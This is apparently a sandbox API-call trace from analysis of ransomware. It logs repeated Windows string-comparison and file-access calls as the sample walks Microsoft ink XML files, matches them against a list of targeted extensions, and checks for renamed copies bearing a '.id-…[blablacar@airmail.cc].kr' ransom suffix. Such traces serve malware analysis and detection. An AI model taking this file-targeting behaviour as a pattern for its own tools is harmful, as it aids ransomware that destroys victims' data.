[0176.197] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString=".7z") returned 3 [0176.197] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.197] lstrlenW (lpString=".dbf") returned 4 [0176.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.197] lstrlenW (lpString=".1cd") returned 4 [0176.197] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.197] lstrlenW (lpString=".jpg") returned 4 [0176.197] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.197] lstrlenW (lpString=".doc") returned 4 [0176.197] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString=".docx") returned 5 [0176.197] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0176.197] lstrlenW (lpString=".pdf") returned 4 [0176.197] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.197] lstrlenW (lpString=".xls") returned 4 [0176.198] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.198] lstrlenW (lpString=".xlsx") returned 5 [0176.198] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0176.198] lstrlenW (lpString=".ppt") returned 4 [0176.198] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.198] lstrlenW (lpString=".zip") returned 4 [0176.198] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.198] lstrlenW (lpString=".rar") returned 4 [0176.198] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.198] lstrlenW (lpString=".bz2") returned 4 [0176.198] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.198] lstrlenW (lpString=".7z") returned 3 [0176.198] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.198] lstrlenW (lpString=".dbf") returned 4 [0176.198] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.198] lstrlenW (lpString=".1cd") returned 4 [0176.198] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0176.198] lstrlenW (lpString=".jpg") returned 4 [0176.198] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.198] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.199] lstrlenW (lpString="base_jpn.xml") returned 12 [0176.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.199] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=804) returned 1 [0176.199] CloseHandle (hObject=0x390) returned 1 [0176.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0176.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.199] lstrlenW (lpString=".doc") returned 4 [0176.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString=".docx") returned 5 [0176.200] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0176.200] lstrlenW (lpString=".pdf") returned 4 [0176.200] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString=".xls") returned 4 [0176.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString=".xlsx") returned 5 [0176.200] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0176.200] lstrlenW (lpString=".ppt") returned 4 [0176.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.200] lstrlenW (lpString=".zip") returned 4 [0176.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.200] lstrlenW (lpString=".rar") returned 4 [0176.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString=".bz2") returned 4 [0176.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString=".7z") returned 3 [0176.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.200] lstrlenW (lpString=".dbf") returned 4 [0176.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.200] lstrlenW (lpString=".1cd") returned 4 [0176.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.200] lstrlenW (lpString=".jpg") returned 4 [0176.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.200] lstrlenW (lpString=".doc") returned 4 [0176.200] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.200] lstrlenW (lpString=".docx") returned 5 [0176.201] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0176.201] lstrlenW (lpString=".pdf") returned 4 [0176.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString=".xls") returned 4 [0176.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString=".xlsx") returned 5 [0176.201] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0176.201] lstrlenW (lpString=".ppt") returned 4 [0176.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.201] lstrlenW (lpString=".zip") returned 4 [0176.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.201] lstrlenW (lpString=".rar") returned 4 [0176.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString=".bz2") returned 4 [0176.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString=".7z") returned 3 [0176.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.201] lstrlenW (lpString=".dbf") returned 4 [0176.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.201] lstrlenW (lpString=".1cd") returned 4 [0176.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0176.201] lstrlenW (lpString=".jpg") returned 4 [0176.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.201] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.202] lstrlenW (lpString="base_kor.xml") returned 12 [0176.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.202] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=488) returned 1 [0176.202] CloseHandle (hObject=0x390) returned 1 [0176.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0176.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.202] lstrlenW (lpString=".doc") returned 4 [0176.202] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.202] lstrlenW (lpString=".docx") returned 5 [0176.202] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0176.202] lstrlenW (lpString=".pdf") returned 4 [0176.202] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.202] lstrlenW (lpString=".xls") returned 4 [0176.202] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString=".xlsx") returned 5 [0176.203] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0176.203] lstrlenW (lpString=".ppt") returned 4 [0176.203] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.203] lstrlenW (lpString=".zip") returned 4 [0176.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.203] lstrlenW (lpString=".rar") returned 4 [0176.203] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString=".bz2") returned 4 [0176.203] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString=".7z") returned 3 [0176.203] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.203] lstrlenW (lpString=".dbf") returned 4 [0176.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.203] lstrlenW (lpString=".1cd") returned 4 [0176.203] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.203] lstrlenW (lpString=".jpg") returned 4 [0176.203] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.203] lstrlenW (lpString=".doc") returned 4 [0176.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.203] lstrlenW (lpString=".docx") returned 5 [0176.203] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0176.204] lstrlenW (lpString=".pdf") returned 4 [0176.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString=".xls") returned 4 [0176.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString=".xlsx") returned 5 [0176.204] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0176.204] lstrlenW (lpString=".ppt") returned 4 [0176.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.204] lstrlenW (lpString=".zip") returned 4 [0176.204] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.204] lstrlenW (lpString=".rar") returned 4 [0176.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString=".bz2") returned 4 [0176.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString=".7z") returned 3 [0176.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.204] lstrlenW (lpString=".dbf") returned 4 [0176.204] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.204] lstrlenW (lpString=".1cd") returned 4 [0176.204] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0176.204] lstrlenW (lpString=".jpg") returned 4 [0176.204] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.204] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.204] lstrlenW (lpString="base_rtl.xml") returned 12 [0176.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.205] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=617) returned 1 [0176.205] CloseHandle (hObject=0x390) returned 1 [0176.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0176.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.205] lstrlenW (lpString=".doc") returned 4 [0176.205] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.205] lstrlenW (lpString=".docx") returned 5 [0176.205] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0176.205] lstrlenW (lpString=".pdf") returned 4 [0176.205] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.205] lstrlenW (lpString=".xls") returned 4 [0176.205] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.205] lstrlenW (lpString=".xlsx") returned 5 [0176.205] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0176.205] lstrlenW (lpString=".ppt") returned 4 [0176.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.206] lstrlenW (lpString=".zip") returned 4 [0176.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.206] lstrlenW (lpString=".rar") returned 4 [0176.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString=".bz2") returned 4 [0176.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString=".7z") returned 3 [0176.206] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.206] lstrlenW (lpString=".dbf") returned 4 [0176.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.206] lstrlenW (lpString=".1cd") returned 4 [0176.206] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.206] lstrlenW (lpString=".jpg") returned 4 [0176.206] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.206] lstrlenW (lpString=".doc") returned 4 [0176.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString=".docx") returned 5 [0176.206] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0176.206] lstrlenW (lpString=".pdf") returned 4 [0176.206] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString=".xls") returned 4 [0176.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.206] lstrlenW (lpString=".xlsx") returned 5 [0176.207] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0176.207] lstrlenW (lpString=".ppt") returned 4 [0176.207] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.207] lstrlenW (lpString=".zip") returned 4 [0176.207] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.207] lstrlenW (lpString=".rar") returned 4 [0176.207] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.207] lstrlenW (lpString=".bz2") returned 4 [0176.207] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.207] lstrlenW (lpString=".7z") returned 3 [0176.207] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.207] lstrlenW (lpString=".dbf") returned 4 [0176.207] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.207] lstrlenW (lpString=".1cd") returned 4 [0176.207] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0176.207] lstrlenW (lpString=".jpg") returned 4 [0176.207] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.207] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.207] lstrlenW (lpString="ja-jp.xml") returned 9 [0176.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.208] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=16616) returned 1 [0176.208] CloseHandle (hObject=0x390) returned 1 [0176.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0176.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.208] lstrlenW (lpString=".doc") returned 4 [0176.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.208] lstrlenW (lpString=".docx") returned 5 [0176.208] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0176.208] lstrlenW (lpString=".pdf") returned 4 [0176.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.208] lstrlenW (lpString=".xls") returned 4 [0176.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.208] lstrlenW (lpString=".xlsx") returned 5 [0176.208] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0176.208] lstrlenW (lpString=".ppt") returned 4 [0176.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.208] lstrlenW (lpString=".zip") returned 4 [0176.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.208] lstrlenW (lpString=".rar") returned 4 [0176.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString=".bz2") returned 4 [0176.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString=".7z") returned 3 [0176.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.209] lstrlenW (lpString=".dbf") returned 4 [0176.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.209] lstrlenW (lpString=".1cd") returned 4 [0176.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.209] lstrlenW (lpString=".jpg") returned 4 [0176.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.209] lstrlenW (lpString=".doc") returned 4 [0176.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString=".docx") returned 5 [0176.209] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0176.209] lstrlenW (lpString=".pdf") returned 4 [0176.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString=".xls") returned 4 [0176.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString=".xlsx") returned 5 [0176.209] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0176.209] lstrlenW (lpString=".ppt") returned 4 [0176.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0176.209] lstrlenW (lpString=".zip") returned 4 [0176.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.209] lstrlenW (lpString=".rar") returned 4 [0176.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 